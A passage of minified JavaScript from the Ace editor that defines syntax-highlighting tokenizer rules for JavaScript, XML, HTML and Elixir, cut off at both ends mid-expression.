liseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:\"support.function.dom\",regex:/(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:\"support.constant\",regex:/(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:\"identifier\",regex:o},{regex:\"\",token:\"empty\",next:\"no_regex\"}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:o},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]};if(!e||!e.noES6)this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1||this.next.indexOf(\"jsx\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:r},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),(!e||!e.noJSX)&&a.call(this);this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(u,s),t.JavaScriptHighlightRules=u}),define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules((new o({noJSX:!0})).getRules(),\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),define(\"ace/mode/elixir_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:[\"meta.module.elixir\",\"keyword.control.module.elixir\",\"meta.module.elixir\",\"entity.name.type.module.elixir\"],regex:\"^(\\\\s*)(defmodule)(\\\\s+)((?:[A-Z]\\\\w*\\\\s*\\\\.\\\\s*)*[A-Z]\\\\w*)\"},{token:\"comment.documentation.heredoc\",regex:'@(?:module|type)?doc (?:~[a-z])?\"\"\"',push:[{token:\"comment.documentation.heredoc\",regex:'\\\\s*\"\"\"',next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"comment.documentation.heredoc\"}],comment:\"@doc with heredocs is treated as documentation\"},{token:\"comment.documentation.heredoc\",regex:'@(?:module|type)?doc ~[A-Z]\"\"\"',push:[{token:\"comment.documentation.heredoc\",regex:'\\\\s*\"\"\"',next:\"pop\"},{defaultToken:\"comment.documentation.heredoc\"}],comment:\"@doc with heredocs is treated as documentation\"},{token:\"comment.documentation.heredoc\",regex:\"@(?:module|type)?doc (?:~[a-z])?'''\",push:[{token:\"comment.documentation.heredoc\",regex:\"\\\\s*'''\",next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"comment.documentation.heredoc\"}],comment:\"@doc with heredocs is treated as documentation\"},{token:\"comment.documentation.heredoc\",regex:\"@(?:module|type)?doc ~[A-Z]'''\",push:[{token:\"comment.documentation.heredoc\",regex:\"\\\\s*'''\",next:\"pop\"},{defaultToken:\"comment.documentation.heredoc\"}],comment:\"@doc with heredocs is treated as documentation\"},{token:\"comment.documentation.false\",regex:\"@(?:module|type)?doc false\",comment:\"@doc false is treated as documentation\"},{token:\"comment.documentation.string\",regex:'@(?:module|type)?doc \"',push:[{token:\"comment.documentation.string\",regex:'\"',next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"comment.documentation.string\"}],comment:\"@doc with string is treated as documentation\"},{token:\"keyword.control.elixir\",regex:\"\\\\b(?:do|end|case|bc|lc|for|if|cond|unless|try|receive|fn|defmodule|defp?|defprotocol|defimpl|defrecord|defstruct|defmacrop?|defdelegate|defcallback|defmacrocallback|defexception|defoverridable|exit|after|rescue|catch|else|raise|throw|import|require|alias|use|quote|unquote|super)\\\\b(?![?!])\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?<!\\\\.)\\\\b(do|end|case|bc|lc|for|if|cond|unless|try|receive|fn|defmodule|defp?|defprotocol|defimpl|defrecord|defstruct|defmacrop?|defdelegate|defcallback|defmacrocallback|defexception|defoverridable|exit|after|rescue|catch|else|raise|throw|import|require|alias|use|quote|unquote|super)\\\\b(?![?!])\"},{token:\"keyword.operator.elixir\",regex:\"\\\\b(?:and|not|or|when|xor|in|inlist|inbits)\\\\b\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?<!\\\\.)\\\\b(and|not|or|when|xor|in|inlist|inbits)\\\\b\",comment:\" as above, just doesn't need a 'end' and does a logic operation\"},{token:\"constant.language.elixir\",regex:\"\\\\b(?:nil|true|false)\\\\b(?![?!])\"},{token:\"variable.language.elixir\",regex:\"\\\\b__(?:CALLER|ENV|MODULE|DIR)__\\\\b(?![?!])\"},{token:[\"punctuation.definition.variable.elixir\",\"variable.other.readwrite.module.elixir\"],regex:\"(@)([a-zA-Z_]\\\\w*)\"},{token:[\"punctuation.definition.variable.elixir\",\"variable.other.anonymous.elixir\"],regex:\"(&)(\\\\d*)\"},{token:\"variable.other.constant.elixir\",regex:\"\\\\b[A-Z]\\\\w*\\\\b\"},{token:\"constant.numeric.elixir\",regex:\"\\\\b(?:0x[\\\\da-fA-F](?:_?[\\\\da-fA-F])*|\\\\d(?:_?\\\\d)*(?:\\\\.(?![^[:space:][:digit:]])(?:_?\\\\d)*)?(?:[eE][-+]?\\\\d(?:_?\\\\d)*)?|0b[01]+|0o[0-7]+)\\\\b\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"\\\\b(0x\\\\h(?>_?\\\\h)*|\\\\d(?>_?\\\\d)*(\\\\.(?![^[:space:][:digit:]])(?>_?\\\\d)*)?([eE][-+]?\\\\d(?>_?\\\\d)*)?|0b[01]+|0o[0-7]+)\\\\b\"},{token:\"punctuation.definition.constant.elixir\",regex:\":'\",push:[{token:\"punctuation.definition.constant.elixir\",regex:\"'\",next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"constant.other.symbol.single-quoted.elixir\"}]},{token:\"punctuation.definition.constant.elixir\",regex:':\"',push:[{token:\"punctuation.definition.constant.elixir\",regex:'\"',next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"constant.other.symbol.double-quoted.elixir\"}]},{token:\"punctuation.definition.string.begin.elixir\",regex:\"(?:''')\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?>''')\",push:[{token:\"punctuation.definition.string.end.elixir\",regex:\"^\\\\s*'''\",next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"support.function.variable.quoted.single.heredoc.elixir\"}],comment:\"Single-quoted heredocs\"},{token:\"punctuation.definition.string.begin.elixir\",regex:\"'\",push:[{token:\"punctuation.definition.string.end.elixir\",regex:\"'\",next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"support.function.variable.quoted.single.elixir\"}],comment:\"single quoted string (allows for interpolation)\"},{token:\"punctuation.definition.string.begin.elixir\",regex:'(?:\"\"\")',TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:'(?>\"\"\")',push:[{token:\"punctuation.definition.string.end.elixir\",regex:'^\\\\s*\"\"\"',next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"string.quoted.double.heredoc.elixir\"}],comment:\"Double-quoted heredocs\"},{token:\"punctuation.definition.string.begin.elixir\",regex:'\"',push:[{token:\"punctuation.definition.string.end.elixir\",regex:'\"',next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"string.quoted.double.elixir\"}],comment:\"double quoted string (allows for interpolation)\"},{token:\"punctuation.definition.string.begin.elixir\",regex:'~[a-z](?:\"\"\")',TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:'~[a-z](?>\"\"\")',push:[{token:\"punctuation.definition.string.end.elixir\",regex:'^\\\\s*\"\"\"',next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"string.quoted.double.heredoc.elixir\"}],comment:\"Double-quoted heredocs sigils\"},{token:\"punctuation.definition.string.begin.elixir\",regex:\"~[a-z]\\\\{\",push:[{token:\"punctuation.definition.string.end.elixir\",regex:\"\\\\}[a-z]*\",next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"string.interpolated.elixir\"}],comment:\"sigil (allow for interpolation)\"},{token:\"punctuation.definition.string.begin.elixir\",regex:\"~[a-z]\\\\[\",push:[{token:\"punctuation.definition.string.end.elixir\",regex:\"\\\\][a-z]*\",next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"string.interpolated.elixir\"}],comment:\"sigil (allow for interpolation)\"},{token:\"punctuation.definition.string.begin.elixir\",regex:\"~[a-z]\\\\<\",push:[{token:\"punctuation.definition.string.end.elixir\",regex:\"\\\\>[a-z]*\",next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"string.interpolated.elixir\"}],comment:\"sigil (allow for interpolation)\"},{token:\"punctuation.definition.string.begin.elixir\",regex:\"~[a-z]\\\\(\",push:[{token:\"punctuation.definition.string.end.elixir\",regex:\"\\\\)[a-z]*\",next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"string.interpolated.elixir\"}],comment:\"sigil (allow for interpolation)\"},{token:\"punctuation.definition.string.begin.elixir\",regex:\"~[a-z][^\\\\w]\",push:[{token:\"punctuation.definition.string.end.elixir\",regex:\"[^\\\\w][a-z]*\",next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{include:\"#escaped_char\"},{defaultToken:\"string.interpolated.elixir\"}],comment:\"sigil (allow for interpolation)\"},{token:\"punctuation.definition.string.begin.elixir\",regex:'~[A-Z](?:\"\"\")',TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:'~[A-Z](?>\"\"\")',push:[{token:\"punctuation.definition.string.end.elixir\",regex:'^\\\\s*\"\"\"',next:\"pop\"},{defaultToken:\"string.quoted.other.literal.upper.elixir\"}],comment:\"Double-quoted heredocs sigils\"},{token:\"punctuation.definition.string.begin.elixir\",regex:\"~[A-Z]\\\\{\",push:[{token:\"punctuation.definition.string.end.elixir\",regex:\"\\\\}[a-z]*\",next:\"pop\"},{defaultToken:\"string.quoted.other.literal.upper.elixir\"}],comment:\"sigil (without interpolation)\"},{token:\"punctuation.definition.string.begin.elixir\",regex:\"~[A-Z]\\\\[\",push:[{token:\"punctuation.definition.string.end.elixir\",regex:\"\\\\][a-z]*\",next:\"pop\"},{defaultToken:\"string.quoted.other.literal.upper.elixir\"}],comment:\"sigil (without interpolation)\"},{token:\"punctuation.definition.string.begin.elixir\",regex:\"~[A-Z]\\\\<\",push:[{token:\"punctuation.definition.string.end.elixir\",regex:\"\\\\>[a-z]*\",next:\"pop\"},{defaultToken:\"string.quoted.other.literal.upper.elixir\"}],comment:\"sigil (without interpolation)\"},{token:\"punctuation.definition.string.begin.elixir\",regex:\"~[A-Z]\\\\(\",push:[{token:\"punctuation.definition.string.end.elixir\",regex:\"\\\\)[a-z]*\",next:\"pop\"},{defaultToken:\"string.quoted.other.literal.upper.elixir\"}],comment:\"sigil (without interpolation)\"},{token:\"punctuation.definition.string.begin.elixir\",regex:\"~[A-Z][^\\\\w]\",push:[{token:\"punctuation.definition.string.end.elixir\",regex:\"[^\\\\w][a-z]*\",next:\"pop\"},{defaultToken:\"string.quoted.other.literal.upper.elixir\"}],comment:\"sigil (without interpolation)\"},{token:[\"punctuation.definition.constant.elixir\",\"constant.other.symbol.elixir\"],regex:\"(:)([a-zA-Z_][\\\\w@]*(?:[?!]|=(?![>=]))?|\\\\<\\\\>|===?|!==?|<<>>|<<<|>>>|~~~|::|<\\\\-|\\\\|>|=>|~|~=|=|/|\\\\\\\\\\\\\\\\|\\\\*\\\\*?|\\\\.\\\\.?\\\\.?|>=?|<=?|&&?&?|\\\\+\\\\+?|\\\\-\\\\-?|\\\\|\\\\|?\\\\|?|\\\\!|@|\\\\%?\\\\{\\\\}|%|\\\\[\\\\]|\\\\^(?:\\\\^\\\\^)?)\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?<!:)(:)(?>[a-zA-Z_][\\\\w@]*(?>[?!]|=(?![>=]))?|\\\\<\\\\>|===?|!==?|<<>>|<<<|>>>|~~~|::|<\\\\-|\\\\|>|=>|~|~=|=|/|\\\\\\\\\\\\\\\\|\\\\*\\\\*?|\\\\.\\\\.?\\\\.?|>=?|<=?|&&?&?|\\\\+\\\\+?|\\\\-\\\\-?|\\\\|\\\\|?\\\\|?|\\\\!|@|\\\\%?\\\\{\\\\}|%|\\\\[\\\\]|\\\\^(\\\\^\\\\^)?)\",comment:\"symbols\"},{token:\"punctuation.definition.constant.elixir\",regex:\"(?:[a-zA-Z_][\\\\w@]*(?:[?!])?):(?!:)\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?>[a-zA-Z_][\\\\w@]*(?>[?!])?)(:)(?!:)\",comment:\"symbols\"},{token:[\"punctuation.definition.comment.elixir\",\"comment.line.number-sign.elixir\"],regex:\"(#)(.*)\"},{token:\"constant.numeric.elixir\",regex:\"\\\\?(?:\\\\\\\\(?:x[\\\\da-fA-F]{1,2}(?![\\\\da-fA-F])\\\\b|[^xMC])|[^\\\\s\\\\\\\\])\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?<!\\\\w)\\\\?(\\\\\\\\(x\\\\h{1,2}(?!\\\\h)\\\\b|[^xMC])|[^\\\\s\\\\\\\\])\",comment:'\\n\t\t\tmatches questionmark-letters.\\n\\n\t\t\texamples (1st alternation = hex):\\n\t\t\t?\\\\x1     ?\\\\x61\\n\\n\t\t\texamples (2rd alternation = escaped):\\n\t\t\t?\\\\n      ?\\\\b\\n\\n\t\t\texamples (3rd alternation = normal):\\n\t\t\t?a       ?A       ?0 \\n\t\t\t?*       ?\"       ?( \\n\t\t\t?.       ?#\\n\t\t\t\\n\t\t\tthe negative lookbehind prevents against 